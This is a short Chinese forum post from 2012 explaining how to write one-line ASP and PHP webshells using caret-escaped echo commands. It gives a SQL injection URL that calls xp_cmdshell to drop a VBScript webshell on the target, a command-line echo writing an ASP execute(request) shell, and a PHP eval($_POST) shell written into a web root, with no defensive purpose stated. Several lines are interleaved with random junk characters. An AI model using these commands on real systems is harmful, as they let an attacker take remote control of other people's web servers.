用^转义字符来写ASP(一句话木马)文件的方法:
1 O2 h5 {$ g) i& V' m' T/ l/ o' W4 H& R
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--3 O) ?+ E0 i: P; x
$ T# z3 w4 y6 U2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp
* Z8 v/ a* H4 Y/ q' g) ~3 ^# {) Z% O
F9 P4 v% K4 o
PHP
' [5 m1 L1 [4 g5 Jecho ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对